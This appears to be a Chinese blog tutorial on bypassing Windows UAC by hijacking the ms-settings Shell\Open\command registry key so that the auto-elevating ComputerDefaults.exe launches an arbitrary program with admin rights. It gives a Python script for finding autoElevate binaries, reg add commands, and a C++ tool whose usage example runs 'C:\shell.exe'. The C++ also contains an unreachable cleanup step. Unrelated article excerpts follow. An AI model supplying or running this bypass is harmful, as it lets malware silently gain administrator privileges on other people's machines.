Bypassuac之白名单结合注册表方式

参考 Bypass UAC 原来这么简单

本章记录一下系统白名单文件结合注册表bypassuac,uac这个东西并不是Windows设置的防御机制而是相当于保护机制,只是用来控制用户行为的,弹个窗来提醒一下用户的行为,和直接的杀软是不一样的性质,所以uac有多种方式绕过比如系统白名单、DLL 劫持绕过、COM 劫持绕过、利用系统漏洞绕过甚至如果直接提权到高权限也相当于直接绕过了uac

在Windows中普通用户也可以以管理员权限运行程序,在拿到一个普通用户的权限需要执行一些系统操作,比如添加一个用户,运行一个需要管理员权限才能运行的程序等等都会弹出uac控制来提示是否以管理员权限执行,这个时候要么提升权限要么就只能uac绕过。

另外在域中的uac更加严格,需要输入管理员的账号密码才可以继续运行

白名单的挖掘

序需要满足以下几个条件:

1. 程序的manifest标识的配置属性 autoElevate 为 true

2. 程序不弹出UAC弹窗

3. 从注册表里查询Shell\Open\command键值对

       程序的autoElevate如果设置为true就代表他可以直接以管理员权限静默执行,毕竟在Windows系统中不可能每个程序都弹uac吧还是有静默的,条件就这个要设置为true,但是这个被设置为了true不代表一定就不会弹uac!

        第一个条件可以使用微软官方的工具sigcheck64.exe来查找,我们要找一个白名单程序肯定是每个电脑上都会存在的才可以,所以重点寻找系统的那么几个文件比如Windows文件夹

sigcheck64.exe工具使用

一个白程序的 autoElevate 为 true

这里可以使用一个脚本来查找所有白名单(第一次使用会有个要求同意的的gui界面,必须要先运行一遍sigcheck64.exe工具才能使用脚本)

import os
from subprocess import Popen, PIPEpath = 'c:\\windows\\system32'def GetFileList(path, fileList):if os.path.isfile(path):if path[-4:].lower() == '.exe':fileList.append(path)elif os.path.isdir(path):try:for s in os.listdir(path):newDir = os.path.join(path, s)GetFileList(newDir, fileList)except Exception as e:print(e)return fileListfiles = GetFileList(path, [])
print(files)for eachFile in files:try:command = r'.\sigcheck64.exe -m "{}" | findstr auto'.format(eachFile)print(command)p1 = Popen(command, shell=True, stdout=PIPE)output = p1.stdout.read().decode('utf-8')  # 假设输出是utf-8编码if '<autoElevate>true</autoElevate>' in output:copy_command = r'copy "{}" .\success'.format(eachFile)Popen(copy_command, shell=True)print('[+] {}'.format(eachFile))with open('success.txt', 'a') as f:  # 每次循环都以追加模式打开文件f.write('{}\n'.format(eachFile))except Exception as e:print(e)# 注意:确保sigcheck64.exe工具在当前目录,并且有权限执行这些命令。

结果保存在success.txt中

下一个条件是程序不弹出UAC弹窗

这里我们就以ComputerDefaults.exe为演示,这个程序是不会弹uac的可以试一试

win +r 直接运行这个程序

发现是没有弹窗符合条件

第三个条件是从注册表里查询Shell\Open\command键值对

注册表操作监控

这里使用ProcessMonitor的Procmon64.exe 工具进行监视程序的行为

这里添加了两条规则一个是ComputerDefaults.exe进程的监视一个是注册表的操作监视

主要是看注册表的操作

运行一下程序所有的注册表操作都监控到了,然后搜索一下我们想要的那个Shell\Open\Command行为是否存在

找到了说明有这个行为,符合条件,这就是我们要的白名单程序

另外可以看到这里有个result是一个 NAME NOT FOUND,这个结果是更好的,说明他去查询的键值对是不存在的可以自己增加修改,如果是success说明以及被写好了,你去修改可能会出其他的问题啥的影响程序运行。

去注册表里看一下 win +r regedit

看HKCU\Software\Classes\ms-settings\Shell\Open\Command 路径是否存在,不存在就手动添加,另外就是HKCU的路径是我们可以修改的,HKUR需要高权限才能修改。一般我们要绕过uac说明我们的权限并不高,如果去查询的路径是在HKUR那就可以换一个程序研究了

查询发现不存在ms-settings的目录

那么我们就创建这些项

这里手动修改这里的值为cmd.exe啥的会被Windows的defender直接拦截。。。

直接修改为calc.exe

但是重新运行ComputerDefaults 并没有弹出计算器,重新查看一下监控

这里将过滤规则中的reg那个删除只保留processname的

可以看到Shell\Open\Command 结果是success说明我们写的成功了,但是后面还有个HKCU\Software\Classes\ms-settings\Shell\Open\Command\DelegateExecute是NAME NOT FOUND 这里也要修改,让这里也通行

那么就是新建一个DelegateExecute字符串

修改后再次打开ComputerDefaults 成功的打开了我们的calc

手动的演示完毕了实际也是可以使用命令或者代码实现的

命令方式

# 添加
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /t REG_SZ /d "calc.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
# 复原
reg delete HKCU\Software\Classes\ms-settings /f

代码生成

#include <iostream>
#include <Windows.h>
#include "tchar.h"DWORD BypassUAC(LPWSTR filePath){PROCESS_INFORMATION pi = { 0 };STARTUPINFOA si = { 0 };HKEY hKey;si.cb = sizeof(STARTUPINFO);si.wShowWindow = SW_HIDE;DWORD dwDisposition;if (filePath == NULL){printf("[!] FilePath is null, please try again!\n");exit(1);}else {printf("\n");printf("[*] Get filePath success , the filePath is : %ws\n", filePath);}// 创建注册表项if (ERROR_SUCCESS != ::RegCreateKeyW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings\\Shell\\open\\command", &hKey)){printf("[!] Create regedit failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create regedit successfully!\n");}// 设置注册表值if (ERROR_SUCCESS != ::RegSetValueExW(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (::lstrlenW(filePath) + 1024))){printf("[!] Create exe_key-value failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create exe_key-value successfully!\n");}// 设置 DelegateExecute 的值为空if (ERROR_SUCCESS != RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, (BYTE*)"", sizeof(""))){printf("[!] Create delete_key-value failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create delete_key-value successfully!\n");}// 使用 cmd.exe 来执行 ComputerDefaults.exeif (NULL == CreateProcessA("C:\\Windows\\System32\\cmd.exe", (LPSTR)"/c C:\\Windows\\System32\\ComputerDefaults.exe", NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)){printf("[!] Create Process failed, error is : %d\n", GetLastError());return FALSE;}else {printf("[*] Create Process successfully!\n");}return TRUE;Sleep(3000);if (ERROR_SUCCESS != ::RegDeleteTreeW(HKEY_CURRENT_USER, L"Software\\Classes\\ms-settings")){printf("[!] Delete regedit failed, error is : %d\n", GetLastError());}else {printf("[*] Delete regedit successfully!\n");}
}int main(int argc, wchar_t* argv[]){if (argc != 2){printf("UAC.exe <filepath>\n");printf("UAC.exe C:\\shell.exe");}else {LPWSTR filePath = argv[1];BypassUAC(filePath);}return 0;
}

不过此程序已近是被Windows监控了,执行cmd.exe啥的估计不行,不过思路是这个思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1045.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

Canvas字体高度计算与PDF高度如何统一

因为英文书写时并不是像汉字一样就是一个方块字&#xff0c;比如下图p有部分是在基线以下&#xff0c;其他的字体都是以基线为参照书写&#xff0c;所以在Canvas中字(或字母)所占的高度是&#xff1a; metrics.boundingBoxAscent metrics.boundingBoxDescent上行间距下行间距…

UV紫外相机

在产业设备领域&#xff0c;运用相机进行检测的需求很大&#xff0c;应用也很多样&#xff0c;对于图像传感器性能的期望逐年提升。在这样的背景下&#xff0c;可拍摄紫外线&#xff08;UV&#xff1a;Ultra Violet&#xff09;图像的相机拥有越来越广泛的应用场景。将UV照明和…

Java NIO2 异步IO支持

NIO2 从 Java 7 在之前的NIO基础上&#xff0c;它提供了异步 IO 操作、文件系统访问增强等诸多功能 路径&#xff08;Path&#xff09;接口 Path 接口代表了文件系统的路径。它可以用来定位一个文件或目录。 提供了多种方法来解析、转换和查询路径信息。Paths 类提供了一些静…

实现短信中带有链接,直接打开微信小程序

步骤1&#xff1a;生成 Scheme&#xff08;明文&#xff09; 此处配置的 path 需要在小程序后台配置 之后得到一条 scheme weixin://dl/business/?appidxxx&pathpages/index/index 这条 scheme 在某些场景下可以直接点击打开小程序&#xff0c;比如&#xff1a;作为钉钉消…

鸿蒙网络编程系列41-仓颉版HttpRequest模拟登录示例

1. HttpRequest模拟登录简介 在本系列的第9篇文章《鸿蒙网络编程系列9-使用HttpRequest模拟登录示例》中&#xff0c;我们基于ArkTS语言在API 9的环境下使用HttpRequest发起HTTP请求&#xff0c;模拟了对目标网站的登录&#xff0c;本文将使用仓颉语言在API 12的环境中实现类似…

国内能用的Docker镜像源【2024最新持续更新】

国内能用的Docker镜像源【2024最新持续更新】 Docker 镜像加速列表&#xff08;2024年11月已更新&#xff09;配置方式1&#xff1a;临时使用配置方式2&#xff1a;长久有效 在国内使用 Docker 的朋友们&#xff0c;可能都遇到过配置镜像源来加速镜像拉取的操作。然而&#xff…

硅谷甄选(9)SKU模块

SKU模块 8.1 SKU静态 <template><el-card><el-table border style"margin: 10px 0px"><el-table-column type"index" label"序号" width"80px"></el-table-column><el-table-columnlabel"名称…

RabbitMQ 的集群

大家好&#xff0c;我是锋哥。今天分享关于【RabbitMQ 的集群】面试题&#xff1f;希望对大家有帮助&#xff1b; RabbitMQ 的集群 RabbitMQ 是一种流行的开源消息代理&#xff0c;广泛用于构建分布式系统中的消息队列。随着应用程序规模的扩大&#xff0c;单一的 RabbitMQ 实…

IO详解(BIO、NIO、实战案例、底层原理刨析)

文章目录 IO详解&#xff08;BIO、NIO、实战案例、底层原理刨析&#xff09;&#x1f30e; IO&#x1fa90; 同步、异步、阻塞、非阻塞⚡ BIO&#x1f47d; 简介&#x1f60e; 案例 &#x1f680; NIO✈️ 介绍&#x1f697; Buffer&#xff08;缓冲&#xff09;&#x1f6f8; …

Mac 配置SourceTree集成云效

1、背景 工作使用的是自己的笔记本&#xff0c;一个是比较卡&#xff0c;在一个是敏感信息比较多还是使用公司的电脑&#xff0c;但是系统是Mac就很麻烦&#xff0c;在网上找了帖子记录一下 2、配置 打开终端 ssh-keygen -t rsa #一直回车就行 cd .ssh cat id_rsa.pub #查…

.NET 8 Web API 中的身份验证和授权

本次介绍分为3篇文章&#xff1a; 1&#xff1a;.Net 8 Web API CRUD 操作.Net 8 Web API CRUD 操作-CSDN博客 2&#xff1a;在 .Net 8 API 中实现 Entity Framework 的 Code First 方法https://blog.csdn.net/hefeng_aspnet/article/details/143229912 3&#xff1a;.NET …

【论文阅读】Associative Alignment for Few-shot Image Classification

用于小样本图像分类的关联对齐 引用&#xff1a;Afrasiyabi A, Lalonde J F, Gagn C. Associative alignment for few-shot image classification[C]//Computer Vision–ECCV 2020: 16th European Conference, Glasgow, UK, August 23–28, 2020, Proceedings, Part V 16. Spri…

第03章 MySQL的简单使用命令

一、MySQL的登录 1.1 服务的启动与停止 MySQL安装完毕之后&#xff0c;需要启动服务器进程&#xff0c;不然客户端无法连接数据库。 在前面的配置过程中&#xff0c;已经将MySQL安装为Windows服务&#xff0c;并且勾选当Windows启动、停止时&#xff0c;MySQL也 自动启动、停止…

【Fastjson反序列化漏洞:深入了解与防范】

一、Fastjson反序列化漏洞概述 Fastjson是一款高性能的Java语言JSON处理库&#xff0c;广泛应用于Web开发、数据交换等领域。然而&#xff0c;由于fastjson在解析JSON数据时存在安全漏洞&#xff0c;攻击者可以利用该漏洞执行任意代码&#xff0c;导致严重的安全威胁。 二、F…

Python自动化测试一文详解

Python 作为一种高效、易读的编程语言&#xff0c;凭借其丰富的库和框架&#xff0c;成为自动化测试领域的热门选择。无论是Web应用、API&#xff0c;还是移动应用&#xff0c;Python 都能提供强大的支持&#xff0c;使得测试人员能够快速编写和维护测试用例。 本文将深入探讨…

一个免费开源自托管的机器翻译项目,支持API接口

大家好&#xff0c;今天给大家分享一个免费且开源的机器翻译项目LibreTranslate&#xff0c;旨在为用户提供一个完全自由且安全的翻译解决方案。 项目介绍 LibreTranslate采用神经翻译技术&#xff0c;使用开源语言模型对文本进行翻译&#xff0c;无需依赖外部服务。该项目的主…

视觉目标检测标注xml格式文件解析可视化 - python 实现

视觉目标检测任务&#xff0c;通常用 labelimage标注&#xff0c;对应的标注文件为xml。 该示例来源于开源项目&#xff1a;https://gitcode.com/DataBall/DataBall-detections-100s/overview 读取 xml 标注文件&#xff0c;并进行可视化示例如下&#xff1a; #-*-coding:ut…

什么是目标检测?

首先计算机视觉能够解决哪些问题&#xff1f;&#xff1f; 分类、检测、分割 首先以下面这幅图为例&#xff1a; 分类就是输入一张图像&#xff0c;算法能够告诉我们图像中有什么类别&#xff0c;比如说猫或者狗&#xff0c;而并不知道这个类别在图像中的位置&#xff0c;如…

20221403郑骁恒实验2-2

1.在Ubuntu或openEuler中&#xff08;推荐openEuler&#xff09;中调试运行教材提供的源代码&#xff0c;至少运行SM2&#xff0c;SM3&#xff0c;SM4代码&#xff0c;使用GmSSL命令验证你代码的正确性&#xff0c;使用Markdown记录详细记录实践过程&#xff0c;每完成一项功能…

vite构建Vue3项目:封装公共组件,发布npm包,自定义组件库

文章目录 前言一、创建基础的vite 脚手架二、文件结构三、编写组件代码,本地测试四、配置项五、打包npm发布六、npm下载使用总结 前言 使用vue开发组件封装是一个很普遍的事情了&#xff0c;封装好一个组件可以在项目的任意地方去使用&#xff0c;我们还可以从npm仓库下载别人…